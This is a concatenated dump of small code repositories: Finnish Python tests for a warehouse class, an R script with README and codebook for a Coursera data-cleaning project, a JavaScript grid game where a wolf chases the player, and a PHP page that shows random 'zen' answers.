def test_ottaminen_lisaa_tilaa(self):
self.varasto.lisaa_varastoon(8)
self.varasto.ota_varastosta(2)
# varastossa pitäisi olla tilaa 10 - 8 + 2 eli 4
self.assertAlmostEqual(self.varasto.paljonko_mahtuu(), 4)
def test_ottaminen_pienentaa_saldoa(self):
self.varasto.lisaa_varastoon(10)
self.varasto.ota_varastosta(4)
self.assertAlmostEqual(self.varasto.saldo, 6)
def test_ei_voi_lisata_liikaa_tavaraa(self):
self.varasto.lisaa_varastoon(self.varasto.tilavuus+20)
self.assertAlmostEqual(self.varasto.saldo, self.varasto.tilavuus)
def test_ei_voi_ottaa_liikaa_tavaraa(self):
self.varasto.ota_varastosta(self.varasto.tilavuus+20)
self.assertAlmostEqual(self.varasto.saldo, 0)
def test_paljonko_mahtuu_palauttaa_oikean_tuloksen(self):
self.varasto.lisaa_varastoon(10)
self.varasto.ota_varastosta(7)
self.assertAlmostEqual(self.varasto.saldo, 3)
def test_str_palauttaa_oikein(self):
self.varasto.lisaa_varastoon(7)
self.assertEqual(f"saldo = {self.varasto.saldo}, vielä tilaa {self.varasto.paljonko_mahtuu()}", str(self.varasto))
def test_uudella_varastolla_oikea_saldo(self):
self.assertAlmostEqual(self.varasto.saldo, 0)
def test_ei_voi_olla_negatiivinen_tilavuus(self):
self.varasto=Varasto(-10)
self.assertAlmostEqual(self.varasto.tilavuus, 0)
def test_alku_saldo_positiivinen(self):
self.varasto=Varasto(10, -10)
self.assertAlmostEqual(self.varasto.saldo, 0)
def test_alku_saldo_suurempi_kuin_tilavuus(self):
self.varasto = Varasto(10, 20)
self.assertAlmostEqual(self.varasto.saldo, self.varasto.tilavuus)
def test_ei_voi_ottaa_negatiivista_maaraa(self):
self.assertAlmostEqual(self.varasto.ota_varastosta(-10), 0)
def test_ei_voi_lisata_negatiivista_maaraa(self):
self.assertEqual(self.varasto.lisaa_varastoon(-10), None)
<file_sep># ohtu-2021-viikko1
juttu

[](https://codecov.io/gh/SuperTLP/ohtu-2021-viikko1)
|
51908d20c89c58f96088c3b9fd5e710e71927151
|
[
"Markdown",
"Python"
] | 2
|
Python
|
SuperTLP/ohtu-2021-viikko1
|
3a4e556d5d0fac2e3dabbfb6f9a3a848bec79d89
|
3dfaf92ba09e6ecaffea0d682da233d01e2f4834
|
refs/heads/master
|
<file_sep>### Summary of folder
This folder contains the following for week4 project sumbission to
Coursera course Getting and Cleaning Data:
* a tidy data set (AveActivityMeas.txt) with the average of each variable for each activity and each subject.
* a script (run_analysis.R) for performing the analysis including downloading, transforming and creating the tidy dataset.
* A code book (CodeBook.md) that describes the variables, the data and any transformations or work that was performed to clean up the data.
### Script summary
Only one script is used for this analysis.
The script requires the R package "dplyr".
The raw data must already be downloaded and unzipped with the files in the working directory or any of its subfolders (the script will search to find the correct full path).
Sourcing the script (run_analysis.R) in R, will
* check that the raw data is available (by file name only).
* perform the detailed transformations defined in the CodeBook and
* output a tidy dataset file (AveActivityMeasOutput.txt) in the working directory. This will have the same data as can be found in the provided text file for comparison (AveActivityMeas.txt).
### Notes:
The data used in this script was collected from a study using the accelerometers from the Samsung Galaxy S smartphone.
A full description is available at the site where the data was obtained:
http://archive.ics.uci.edu/ml/datasets/Human+Activity+Recognition+Using+Smartphones
<file_sep>
## Study Design
Data was collected from 30 volunteers performing six activities wearing a smartphone on the waist for a particular study.
This data was made available to download and full details on the study can be found here:
http://archive.ics.uci.edu/ml/datasets/Human+Activity+Recognition+Using+Smartphones
The data collected and provided from the study consisted of measured signals and derived signals.
There were two types of measurements: linear acceleration from the accelerometer (Acc) and angular velocity from the gyroscope (Gyro) of which each had three directional components (X, Y, Z).
The accelerometer measured signals were provided in two components: a Gravity component and a Body component.
The mean and standard deviation of these measurements are the values that were extracted and summarised for analysis using the provided script (run_analysis.R).
The objective of this script is to take the raw data from the working directory or subfolders containing a combination of text files
and combine the data into a useful tidy dataset in one space seperated text file (AveActivityMeasOutput.txt).
## Code Book
The following columns are included in the output data set:
* subject: The subject who performed the activity (values range from 1 to 30)
* activity: The activity that the subject was performing (either: WALKING, WALKING_UPSTAIRS, WALKING_DOWNSTAIRS, SITTING, STANDING, or LAYING)
* bodyaccmeanx: average Accelerometer mean x value for the body component (units: standard gravity 'g')
* bodyaccmeany: average Accelerometer mean y value for the body component (units: standard gravity 'g')
* bodyaccmeanz: average Accelerometer mean z value for the body component (units: standard gravity 'g')
* bodyaccstdx: average Accelerometer standard deviation x value for the body component (units: standard gravity 'g')
* bodyaccstdy: average Accelerometer standard deviation y value for the body component (units: standard gravity 'g')
* bodyaccstdz: average Accelerometer standard deviation z value for the body component (units: standard gravity 'g')
* gravityaccmeanx: average Accelerometer mean x value for the gravity component (units: standard gravity 'g')
* gravityaccmeany: average Accelerometer mean y value for the gravity component (units: standard gravity 'g')
* gravityaccmeanz: average Accelerometer mean z value for the gravity component (units: standard gravity 'g')
* gravityaccstdx: average Accelerometer standard deviation x value for the gravity component (units: standard gravity 'g')
* gravityaccstdy: average Accelerometer standard deviation y value for the gravity component (units: standard gravity 'g')
* gravityaccstdz: average Accelerometer standard deviation z value for the gravity component (units: standard gravity 'g')
* bodygyromeanx: average Gyroscope mean x value for the body component (units: radians/second)
* bodygyromeany: average Gyroscope mean y value for the body component (units: radians/second)
* bodygyromeanz: average Gyroscope mean z value for the body component (units: radians/second)
* bodygyrostdx: average Gyroscope standard deviation x value for the body component (units: radians/second)
* bodygyrostdy: average Gyroscope standard deviation y value for the body component (units: radians/second)
* bodygyrostdz: average Gyroscope standard deviation z value for the body component (units: radians/second)
## Process
The following transformations were performed to obtain the output dataset:
* check that the data is in the working directory.
* load the individual data files into memory
* merge all the data sets (Train and Test sets) into one data frame
* subset out only the mean and standard deviation of the measurement data (from the Accelerometer and Gyro signals) excluding all of the derived data sets.
* replace the activity id numbers with the appropriate text based on the activity labels provided.
* rename the measurement variable names with descriptive and clean names
* summarise the data by taking the mean of each measurement based on subject and activity to obtain a tidy dataset with the average of each variable for each activity and each subject.
* output this tidy data set to a text (*.txt) file.
* clean up the workspace to remove all but the combined raw data and the tidy datasets.
<file_sep>## The run_analysis.R script will do the following:
## 0. Check that the files are available locally in the current working directory or any subfolders.
## 1. Merge the training and the test sets to create one measurement data set.
## 2. Extracts only the measurements on the mean and standard deviation for each measurement.
## 3. Uses descriptive activity names to name the activities in the data set
## 4. Appropriately labels the data set with descriptive variable names.
## 5. From the data set in step 4, creates a second, independent tidy data set with the average of each variable for each activity and each subject.
require(dplyr)
## Check and get the location for each required file.
filenames<-data.frame(names=c("activity_labels.txt",
"features.txt",
"subject_train.txt",
"subject_test.txt",
"X_train.txt",
"X_test.txt",
"y_train.txt",
"y_test.txt"
))
chkfullpath<-function(file){
fullname<-list.files(pattern=as.character(paste0("^",file)),full.names=TRUE,recursive=TRUE,ignore.case=TRUE)
if(length(fullname)==0){
stop("Required raw data file missing: ",file)
} else {
fullname[[1]]
}
}
filenames$fullname<-lapply(filenames$names,chkfullpath)
## load and merge the datasets
activity_labels<-read.table(filenames$fullname[[1]],header = FALSE)
names(activity_labels)<-c("id","activity")
features<-read.table(filenames$fullname[[2]],header = FALSE)
subject_train<-read.table(filenames$fullname[[3]],header = FALSE)
subject_test<-read.table(filenames$fullname[[4]],header = FALSE)
subjects<-rbind(subject_train,subject_test)
names(subjects)<-c("subject")
subjects$subject<-as.factor(subjects$subject)
X_train<-read.table(filenames$fullname[[5]],header = FALSE)
X_test<-read.table(filenames$fullname[[6]],header = FALSE)
data_tbl<-rbind(X_train,X_test)
names(data_tbl)<-features$V2
y_train<-read.table(filenames$fullname[[7]],header = FALSE)
y_test<-read.table(filenames$fullname[[8]],header = FALSE)
labels_tbl<-rbind(y_train,y_test)
names(labels_tbl)<-c("activity")
## clean up workspace by removing the large intermediate datasets:
rm(list=c("subject_train","subject_test","X_train","X_test","y_train","y_test"))
## Extract mean and SD for time domain Gravity and Body, Gyro and Acc data (eg. only measured data)
data_tbl<-data_tbl[,grepl("^t(Body|Gravity)(Gyro|Acc)\\-(mean|std)\\(\\)\\-(X|Y|Z)",names(data_tbl))]
## replace activity ids to create descriptive names based on activity_labels data
labels_tbl<-data.frame(activity=activity_labels[match(labels_tbl$activity,activity_labels$id),2])
## rename data to create descriptive labels
names(data_tbl)<-tolower(gsub("t(Body|Gravity)(Gyro|Acc)\\-(mean|std)\\(\\)-(X|Y|Z)","\\1\\2\\3\\4",names(data_tbl)))
## create tidy data containing the mean value for each variable, grouped by subject and activity.
data_tidy<-bind_cols(subjects,labels_tbl,data_tbl) %>%
group_by(subject,activity) %>%
summarise_each(funs(mean))
## write to a txt file
write.table(data_tidy,file="./AveActivityMeasOutput.txt",quote=FALSE,row.names=FALSE)
## Tidy up remaining datasets:
rm(list=c("filenames","activity_labels","features","labels_tbl","subjects"))
|
f8d954a3bac05bf05f53f8ff9db4f0e9d9435c8e
|
[
"Markdown",
"R"
] | 3
|
Markdown
|
darcyjamieson/DataScienceCourse3_wk4_project
|
66e6e68fe49216a8e7d8bf28f7556b2f1989c39a
|
225eb2acc1463b9a43991ff95338e0ab8da17db8
|
refs/heads/master
|
<file_sep>
//le personnage
/**
* Crée une table de nbLigexnbColonne avec un taux de mur de pmur
* @param {integer} nbLigne nombre de ligne
* @param {integer} nbColonne ,ombre de colonne
* @param {integer} pmur pourcentage de mur dans le tableau
*/
function creerDamier(nbLigne, nbColonne, pmur) {
let t = document.createElement("table");
t.style.border = "1px solid #444";
document.body.appendChild(t);
for (let i = 0; i < nbLigne; i++) {
let l = document.createElement("tr");
t.appendChild(l);
for (let j = 0; j < nbColonne; j++) {
let c = document.createElement("td");
c.style.border = "1px solid #777";
c.style.width = "40px";
c.style.height = "40px";
if (100 * Math.random() < pmur)
c.dataset.type = "mur";
else
c.dataset.type = "vide";
//c.tabindex=1;
if ((i + j) % 2 == 0) {
c.style.backgroundColor = "#FEF";
} else {
c.style.backgroundColor = "#EFE";
}
if (c.dataset.type == "mur") {
c.style.backgroundColor = "#000";
}
l.appendChild(c);
}
}
t.rows[nbLigne-1].cells[nbColonne-1].dataset.type="sortie";
t.rows[nbLigne-1].cells[nbColonne-1].style.backgroundColor="#900";
return t;
}
function distance(x, y, a, b) {
return Math.abs(x - a) + Math.abs(y - b);
}
function clavier(e) {
let x = perso.dom.dataset.x;
let y = perso.dom.dataset.y;
if (e.key == "ArrowRight") {
if (perso.dom.dataset.x < damier.rows[0].cells.length - 1) {
x++;
}
} else if (e.key == "ArrowLeft") {
if (perso.dom.dataset.x > 0) {
x--;
}
} else if (e.key == "ArrowUp") {
if (perso.dom.dataset.y > 0) {
y--;
}
} else if (e.key == "ArrowDown") {
if (perso.dom.dataset.y < damier.rows.length - 1) {
y++;
}
}
if (damier.rows[y].cells[x].dataset.type == "mur") {
sonpas.src = "mur.mp3";
sonpas.play();
etat.innerHTML = "x=" + perso.dom.dataset.x + " y=" + perso.dom.dataset.y + " vous avez cogné un mur";
etat.focus();
return;
} else {
perso.deplacer(x, y);
sonpas.src = "pas.mp3";
sonpas.play();
if (damier.rows[y].cells[x].dataset.type == "sortie") {
document.body.removeEventListener("keydown", clavier);
damier.innerHTML = "";
perso.dom.style.width = "500px";
perso.dom.style.height = "500px";
document.body.appendChild(perso.dom);
etat.innerHTML = "Vous avez gagné";
}
for (let i = 0; i < meute.length; i++) {
let tab = calculDeplacementLoup(parseInt(x), parseInt(y), parseInt(meute[i].dom.dataset.x), parseInt(meute[i].dom.dataset.y));
let a = tab[0];
let b = tab[1];
//ne rentre pas dans les murs
if (damier.rows[b].cells[a].dataset.type != "mur") {
meute[i].deplacer(a, b);
let d=distance(x, y, a, b);
sonloup.src="loup.mp3";
sonloup.volume=1-d/distanceMax;
sonloup.play();
if (a == x && b == y) {
document.body.removeEventListener("keydown", clavier);
perso.dom.parentElement.removeChild(perso.dom);
damier.innerHTML = "";
meute[i].dom.style.width = "500px";
meute[i].dom.style.height = "500px";
document.body.appendChild(meute[i].dom);
etat.innerHTML = "<br>Le loup mange le perso";
}
}
}
}
}
function calculDeplacementLoup(x, y, a, b) {
let dx = Math.abs(x - a);
let dy = Math.abs(y - b);
if (dx >= dy) {
if (a > x) {
a--;
} else if (a < x) {
a++;
}
} else {
if (b > y) {
b--;
} else if (b < y) {
b++;
}
}
return [a, b];
}
class Perso {
/**
* Création d'un objet (this) de type Perso
* @param {fichier image} image
* @param {integer} x
* @param {integer} y
* @param {fichier son} son
* @param {string} alt
*/
constructor(image,x,y,son,alt) {
this.dom=document.createElement("img");
this.dom.src=image;
this.dom.dataset.x=x;
this.dom.dataset.y=y;
this.son=son;
this.dom.style.width = "40px";
this.dom.style.height = "40px";
this.dom.alt = alt;
}
deplacer(x,y) {
this.dom.dataset.y = y;
this.dom.dataset.x = x;
damier.rows[y].cells[x].appendChild(this.dom);
}
}
//Initialisation
const nbColonne=10;
const nbLigne=10;
const distanceMax=nbColonne+nbLigne;
document.body.addEventListener("keydown", clavier);
let damier = creerDamier(nbLigne, nbColonne, 10);
let perso = new Perso("perso.png",0,0,"pas.mp3","Gilles");
perso.deplacer(0,0);
let meute = [];
for (let i = 0; i < 1; i++) { // nb de loup souhaitez
meute.push(new Perso("loup.png",i, nbLigne-1, "loup.mp3", "loup " + i));
meute[i].deplacer(i, nbLigne-1);
}
let etat = document.getElementById("etat");
let sonpas = document.createElement("audio");
let sonloup = document.createElement("audio");
//initialise le personnage dans le damier
damier.rows[0].cells[0].dataset.type = "vide";
<file_sep>class Perso {
/**
* Création d'un objet (this) de type Perso
* @param {fichier image} image
* @param {integer} x
* @param {integer} y
* @param {fichier son} son
* @param {string} alt
*/
constructor(image,x,y,son,alt) {
this=document.createElement("img");
this.src=image;
this.dataset.x=x;
this.dataset.y=y;
this.dataset.son=son;
this.style.width = "40px";
this.style.height = "40px";
this.alt = alt;
}
deplacer(x,y) {
this.dataset.y = y;
this.dataset.x = x;
damier.rows[y].cells[x].appendChild(this);
}
}
|
102a828ccff22a45f2d2b610cce679554997f02b
|
[
"JavaScript"
] | 2
|
JavaScript
|
dabadieng/loup_js
|
89360a5c92be55a14d9fdcbf7519976f8866ccfe
|
b1aaa115778edfdb608b0d1b108e694b4aa92215
|
refs/heads/master
|
<repo_name>fondlykip/webdev<file_sep>/meanblog/server.js
var express = require('express');
var bodyParser = require('body-parser');
var mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/meanblogdb');
var postSchema = mongoose.Schema({
title: {type:String,
required:true},
body: String,
tag: {type:String, enum:['TECH', 'POL', 'ECON', 'SCI']},
posted: {type:Date, default: Date.now}
}, {collection: 'post'});
var postModel = mongoose.model("postModel", postSchema);
var app = express();
app.use(express.static(__dirname + '/public'))
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true}));
app.get('/', function(req, res){
res.send('hello world!');
});
app.post("/api/blogentry/", createPost);
app.get("/api/blogentry/", getAllPosts);
function getAllPosts(req, res){
postModel
.find()
.then(
function (posts){
res.json(posts);
},
function (err){
res.sendStatus(400);
}
);
}
function createPost(req, res){
var post = req.body;
console.log(post);
postModel.create(post)
.then(
function(post){
res.json(post);
},
function(error) {
res.sendStatus(400);
}
);
};
app.listen(3000, function(){
console.log("server runnning on port 3000, not much has changed but we dev underwater");
});
|
eb528d564a20b5f6f753d2550ef03201052e30bc
|
[
"JavaScript"
] | 1
|
JavaScript
|
fondlykip/webdev
|
51b85e66c5a358f008ab6081292f49e02554f6cc
|
d5ed163c3a83bc5f0748adf3c193afb9aac4859a
|
refs/heads/master
|
<file_sep># TrueAchievements-Text-Notification
Bot to scan TrueAchievements account, text notification when an achievement is earned.
An achievement notifier using:
- Python as the programming language
- BeautifulSoup python library to scan TrueAchievements
- Twilio to send text message notification
To run code need to have libraries installed:
1. BeautifulSoup4 - (pip install beautifulsoup4)
2. Requests - (pip install requests)
<file_sep>from bs4 import BeautifulSoup
import requests
url = "https://www.trueachievements.com/gamer/XxXxS8TNxXxX/achievements"
result = requests.get(url)
print(result.status_code)
#soup = BeautifulSoup(result.content)
#print(soup.prettify())
|
83e3308b6abeae49de25990d592763029feaeee1
|
[
"Markdown",
"Python"
] | 2
|
Markdown
|
TravisEEng/TrueAchievements-Text-Notification
|
dc387d36c235786c0f0b3974927768733ea73d8f
|
6bbec0b2d3f8bba1aa5a104c9d2498e5cfb9e7ac
|
refs/heads/master
|
<repo_name>varbrad/test-driven-laravel<file_sep>/tests/Feature/PurchaseTicketsTest.php
<?php
use App\Billing\FakePaymentGateway;
use App\Billing\PaymentGateway;
use App\Concert;
use Illuminate\Foundation\Testing\DatabaseMigrations;
use Tests\TestCase;
class PurchaseTicketsTest extends TestCase
{
use DatabaseMigrations;
protected $paymentGateway;
protected function setUp(): void
{
parent::setUp();
//
$this->paymentGateway = new FakePaymentGateway;
$this->app->instance(PaymentGateway::class, $this->paymentGateway);
}
private function orderTickets($concert, $params)
{
return $this->postJson("/concerts/{$concert->id}/orders", $params);
}
/** @test */
public function customer_can_purchase_tickets_to_a_published_concert()
{
$concert = factory(Concert::class)->state('published')->create([
'ticket_price' => 3250,
])->addTickets(5);
$response = $this->orderTickets($concert, [
'email' => '<EMAIL>',
'ticket_quantity' => 3,
'payment_token' => $this->paymentGateway->getValidTestToken(),
]);
// Assertions
$response->assertStatus(201);
$response->assertJson([
'email' => '<EMAIL>',
'ticket_quantity' => 3,
'amount' => 9750,
]);
$this->assertEquals(9750, $this->paymentGateway->totalCharges());
$this->assertTrue($concert->hasOrderFor('<EMAIL>'));
$this->assertEquals(3, $concert->ordersFor('<EMAIL>')->first()->ticketQuantity());
}
/** @test */
public function an_order_is_not_created_if_a_payment_fails()
{
$concert = factory(Concert::class)->state('published')->create(['ticket_price' => 1999])->addTickets(5);
$response = $this->orderTickets($concert, [
'email' => '<EMAIL>',
'ticket_quantity' => 3,
'payment_token' => 'invalid-payment-token',
]);
$response->assertStatus(422);
$this->assertFalse($concert->hasOrderFor('<EMAIL>'));
}
/** @test */
public function cannot_purchase_tickets_if_the_concert_is_unpublished()
{
$concert = factory(Concert::class)->state('unpublished')->create()->addTickets(10);
$response = $this->orderTickets($concert, [
'email' => '<EMAIL>',
'ticket_quantity' => 3,
'payment_token' => $this->paymentGateway->getValidTestToken(),
]);
$response->assertStatus(404);
$this->assertFalse($concert->hasOrderFor('<EMAIL>'));
$this->assertEquals(0, $this->paymentGateway->totalCharges());
}
/** @test */
public function email_is_required_to_purchase_tickets()
{
$concert = factory(Concert::class)->state('published')->create();
$response = $this->orderTickets($concert, [
'ticket_quantity' => 3,
'payment_token' => $this->paymentGateway->getValidTestToken(),
]);
$response->assertStatus(422);
$response->assertJsonValidationErrors('email');
}
/** @test */
public function email_must_be_valid_to_purchase_tickets()
{
$concert = factory(Concert::class)->state('published')->create();
$response = $this->orderTickets($concert, [
'email' => 'this-is-not-an-email',
'ticket_quantity' => 3,
'payment_token' => $this->paymentGateway->getValidTestToken(),
]);
$response->assertStatus(422);
$response->assertJsonValidationErrors('email');
}
/** @test */
public function ticket_quantity_is_required_to_purchase_tickets()
{
$concert = factory(Concert::class)->state('published')->create();
$response = $this->orderTickets($concert, [
'email' => '<EMAIL>',
'payment_token' => $this->paymentGateway->getValidTestToken(),
]);
$response->assertStatus(422);
$response->assertJsonValidationErrors('ticket_quantity');
}
/** @test */
public function ticket_quantity_must_be_at_least_1_to_purchase_tickets()
{
$concert = factory(Concert::class)->state('published')->create();
$response = $this->orderTickets($concert, [
'email' => '<EMAIL>',
'ticket_quantity' => 0,
'payment_token' => $this->paymentGateway->getValidTestToken(),
]);
$response->assertStatus(422);
$response->assertJsonValidationErrors('ticket_quantity');
}
/** @test */
public function payment_token_is_required()
{
$concert = factory(Concert::class)->state('published')->create();
$response = $this->orderTickets($concert, [
'email' => '<EMAIL>',
'ticket_quantity' => 2,
]);
$response->assertStatus(422);
$response->assertJsonValidationErrors('payment_token');
}
/** @test */
public function cannot_purchase_more_tickets_than_remain()
{
$concert = factory(Concert::class)->state('published')->create()->addTickets(50);
$response = $this->orderTickets($concert, [
'email' => '<EMAIL>',
'ticket_quantity' => 51,
'payment_token' => $this->paymentGateway->getValidTestToken(),
]);
$response->assertStatus(422);
$this->assertFalse($concert->hasOrderFor('<EMAIL>'));
$this->assertEquals(0, $this->paymentGateway->totalCharges());
$this->assertEquals(50, $concert->ticketsRemaining());
}
}
<file_sep>/app/Http/Controllers/ConcertsController.php
<?php
namespace App\Http\Controllers;
use App\Concert;
use Illuminate\Contracts\View\View;
use Illuminate\Http\Request;
use Symfony\Component\HttpKernel\Exception\NotFoundHttpException;
class ConcertsController extends Controller
{
public function show($concert): View {
$concert = Concert::whereNotNull('published_at')->findOrFail($concert);
return view('concerts.show', compact('concert'));
}
}
<file_sep>/app/Http/Controllers/ConcertOrdersController.php
<?php
namespace App\Http\Controllers;
use App\Billing\PaymentFailedException;
use App\Billing\PaymentGateway;
use App\Concert;
use App\Exceptions\NotEnoughTicketsException;
class ConcertOrdersController extends Controller
{
/** @var PaymentGateway */
private $paymentGateway;
public function __construct(PaymentGateway $paymentGateway)
{
$this->paymentGateway = $paymentGateway;
}
public function store($id)
{
$concert = Concert::published()->findOrFail($id);
$this->validate(request(), [
'email' => ['required', 'email'],
'ticket_quantity' => ['required', 'integer', 'min:1'],
'payment_token' => ['required'],
]);
try {
$ticketQuantity = request('ticket_quantity');
$amount = $ticketQuantity * $concert->ticket_price;
$token = request('payment_token');
$order = $concert->orderTickets(request('email'), request('ticket_quantity'));
$this->paymentGateway->charge($amount, $token);
return response()->json($order, 201);
} catch (PaymentFailedException $e) {
$order->cancel();
return response()->json([], 422);
} catch (NotEnoughTicketsException $e) {
return response()->json([], 422);
}
}
}
<file_sep>/tests/Unit/Billing/FakePaymentGatewayTest.php
<?php
use App\Billing\FakePaymentGateway;
use App\Billing\PaymentFailedException;
use Tests\TestCase;
class FakePaymentGatewayTest extends TestCase
{
/** @test */
public function charges_with_a_valid_payment_token_are_successful()
{
$paymentGateway = new FakePaymentGateway;
$token = $paymentGateway->getValidTestToken();
$paymentGateway->charge(2500, $token);
$this->assertEquals(2500, $paymentGateway->totalCharges());
}
/** @test */
public function charges_with_an_invalid_payment_token_fail()
{
$this->expectException(PaymentFailedException::class);
$paymentGateway = new FakePaymentGateway;
$paymentGateway->charge(2500, 'invalid-payment-token');
}
}
<file_sep>/database/factories/ModelFactory.php
<?php
/** @var \Illuminate\Database\Eloquent\Factory $factory */
use App\Concert;
use Carbon\Carbon;
use Faker\Generator as Faker;
$factory->define(Concert::class, function (Faker $faker) {
return [
'title' => 'Test band',
'subtitle' => 'with other bands',
'date' => Carbon::parse('+1 week'),
'ticket_price' => 1999,
'venue' => 'Test Venue',
'venue_address' => '42b Somewhere Lane',
'city' => 'Laratown',
'state' => 'CK',
'zip' => '12345',
'additional_information' => 'Some sample text'
];
});
$factory->state(Concert::class, 'published', function (Faker $faker) {
return [
'published_at' => Carbon::parse('-1 week'),
];
});
$factory->state(Concert::class, 'unpublished', function (Faker $faker) {
return [
'published_at' => null,
];
});
<file_sep>/tests/Unit/ConcertTest.php
<?php
use App\Concert;
use App\Exceptions\NotEnoughTicketsException;
use Carbon\Carbon;
use Illuminate\Foundation\Testing\DatabaseMigrations;
use Tests\TestCase;
class ConcertTest extends TestCase
{
use DatabaseMigrations;
/** @test */
public function can_get_formatted_date()
{
$concert = factory(Concert::class)->make([
'date' => Carbon::parse('2016-12-01 17:00:00'),
]);
$this->assertEquals('December 1, 2016', $concert->formatted_date);
}
/** @test */
public function can_get_formatted_start_time()
{
$concert = factory(Concert::class)->make([
'date' => Carbon::parse('2016-12-01 17:00:00'),
]);
$this->assertEquals('5:00pm', $concert->formatted_start_time);
}
/** @test */
public function can_get_ticket_price_in_pounds()
{
$concert = factory(Concert::class)->make([
'ticket_price' => 2050
]);
$this->assertEquals('£20.50', $concert->ticket_price_in_pounds);
}
/** @test */
public function concerts_with_a_published_at_date_are_published()
{
$publishedConcertA = factory(Concert::class)->create([
'published_at' => Carbon::parse('-2 weeks'),
]);
$publishedConcertB = factory(Concert::class)->create([
'published_at' => Carbon::parse('-2 weeks'),
]);
$unpublishedConcert = factory(Concert::class)->create([
'published_at' => null
]);
$publishedConcerts = Concert::published()->get();
$this->assertTrue($publishedConcerts->contains($publishedConcertA));
$this->assertTrue($publishedConcerts->contains($publishedConcertB));
$this->assertFalse($publishedConcerts->contains($unpublishedConcert));
}
/** @test */
public function can_order_concert_tickets()
{
$concert = factory(Concert::class)->create()->addTickets(3);
$order = $concert->orderTickets('<EMAIL>', 3);
$this->assertEquals('<EMAIL>', $order->email);
$this->assertEquals(3, $order->ticketQuantity());
}
/** @test */
public function can_add_tickets()
{
$concert = factory(Concert::class)->create()->addTickets(50);
$this->assertEquals(50, $concert->ticketsRemaining());
}
/** @test */
public function tickets_remaining_does_not_include_tickets_sold()
{
$concert = factory(Concert::class)->create()->addTickets(50);
$concert->orderTickets('<EMAIL>', 25);
$this->assertEquals(25, $concert->ticketsRemaining());
}
/** @test */
public function trying_to_purchase_more_tickets_than_remain_throws_an_exception()
{
$concert = factory(Concert::class)->create()->addTickets(50);
try {
$concert->orderTickets('<EMAIL>', 55);
} catch (NotEnoughTicketsException $e) {
$this->assertFalse($concert->hasOrderFor('<EMAIL>'));
$this->assertEquals(50, $concert->ticketsRemaining());
return;
}
$this->fail('Order succeeded even though there weren\'t enough tickets remaining!');
}
/** @test */
public function cannot_order_tickets_that_have_already_been_purchased()
{
$concert = factory(Concert::class)->create()->addTickets(20);
$concert->orderTickets('<EMAIL>', 10);
try {
$concert->orderTickets('<EMAIL>', 15);
} catch (NotEnoughTicketsException $e) {
$this->assertFalse($concert->hasOrderFor('<EMAIL>'));
$this->assertEquals(10, $concert->ticketsRemaining());
return;
}
$this->fail('Order succeeded even though there weren\'t enough tickets remaining!');
}
}
|
0a15f6fd5a8917ed303961c7dee560bfdc4a4f8d
|
[
"PHP"
] | 6
|
PHP
|
varbrad/test-driven-laravel
|
768a36b7a24c3f7e469d87ff2e8a30100d014a17
|
b6dcd98171a69f2d0be0538598bf85ee1c1c3563
|
refs/heads/master
|
<file_sep><?php require("zen-answers.php"); ?>
<!DOCTYPE html>
<!--[if lt IE 7]> <html class="no-js lt-ie9 lt-ie8 lt-ie7"> <![endif]-->
<!--[if IE 7]> <html class="no-js lt-ie9 lt-ie8"> <![endif]-->
<!--[if IE 8]> <html class="no-js lt-ie9"> <![endif]-->
<!--[if gt IE 8]><!--> <html class="no-js"> <!--<![endif]-->
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>Zen Answer.me</title>
<meta name="description" content="Zen answers for the world">
<meta name="viewport" content="width=device-width">
<link rel="stylesheet" href="css/normalize.min.css">
<link rel="stylesheet" href="css/main.css">
<link href='http://fonts.googleapis.com/css?family=Berkshire+Swash' rel='stylesheet' type='text/css'>
<link href='http://fonts.googleapis.com/css?family=Eagle+Lake' rel='stylesheet' type='text/css'>
</head>
<body class="<?php echo $__COLOR_TONE__ ?>" style="background-color: <?php echo $__COLOR__ ?>">
<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-367009-16', 'zen-answer.me');
ga('send', 'pageview');
</script>
<!--[if lt IE 7]>
<p class="chromeframe">You are using an <strong>outdated</strong> browser. Please <a href="http://browsehappy.com/">upgrade your browser</a> or <a href="http://www.google.com/chromeframe/?redirect=true">activate Google Chrome Frame</a> to improve your experience.</p>
<![endif]-->
<div class="main-container">
<div class="main wrapper clearfix">
<div class="zen question"><?php echo $__QUESTION__ ?></div>
<div class="zen answer"><?php echo $__ANSWER__ ?></div>
<div class="zen advice"></div>
</div> <!-- #main -->
</div> <!-- #main-container -->
<div class="footer-container">
<footer class="wrapper">
<h3><a href=".">Zen-answer.me - <span class="reload">click to be illuminated</span></a></h3>
<p class="disclaimer">Liked this site? <a href="mailto:<EMAIL>">Send me a few nice words.</a></p>
</footer>
</div>
</body>
</html>
<file_sep><?php
$colors = array(
"#b3d4fc" => "dark",
"#E46299" => "dark",
"#5B8BC0" => "dark",
"#5AD179" => "dark",
"#FFCD6D" => "light",
"#FFF1BC" => "light",
"#DEF0B1" => "light"
);
$questions = array(
"How will societies be in the future?",
"What is self-awareness?",
"Why does the universe exist?",
"At what point did humans become intelligent?",
"What is the purpose of life?",
"What makes a true religion really work?",
"What can be done when natural resources come to an end?",
"Why do we see patterns everywhere?",
"What is love?",
"Why does evil arise from man?",
"What is free will, if everything can be calculated?"
);
$answers = array(
"Some change and some do not. Understand this and be illumitated.",
"Dogs do not worry about such matters.",
"Water flows without direction because it is not bound to a single purpose.",
"Air can be as soft as a breeze and as devastating as a hurricane. This is not so different.",
"A rock can be felt same as a good idea that comes to mind.",
"Since nature gave birth to all, isn't everything a wonder of nature?",
"MU.",
"We are not one with all. 'We' is an illusion.",
"Silence should not have a word for it.",
"Flying and falling are not but the same thing. We all fall from time to time.",
"Death is part of every man's life. Opposites are not so.",
"If you can explain the difference between red and blue, you have lost your way.",
"Clouds do not mind where the wind blows -- they just follow."
);
function pickRandom($list, $isAssociative = false) {
$index = rand(0, sizeof($list) - 1);
if ($isAssociative) {
$keys = array_keys($list);
$name = $keys[$index];
return array($name => $list[$name]);
}
return $list[$index];
}
function setColor($color) {
global $__COLOR__;
$__COLOR__ = key($color);
global $__COLOR_TONE__;
$__COLOR_TONE__ = $color[$__COLOR__];
};
function setQuestion($question) {
global $__QUESTION__;
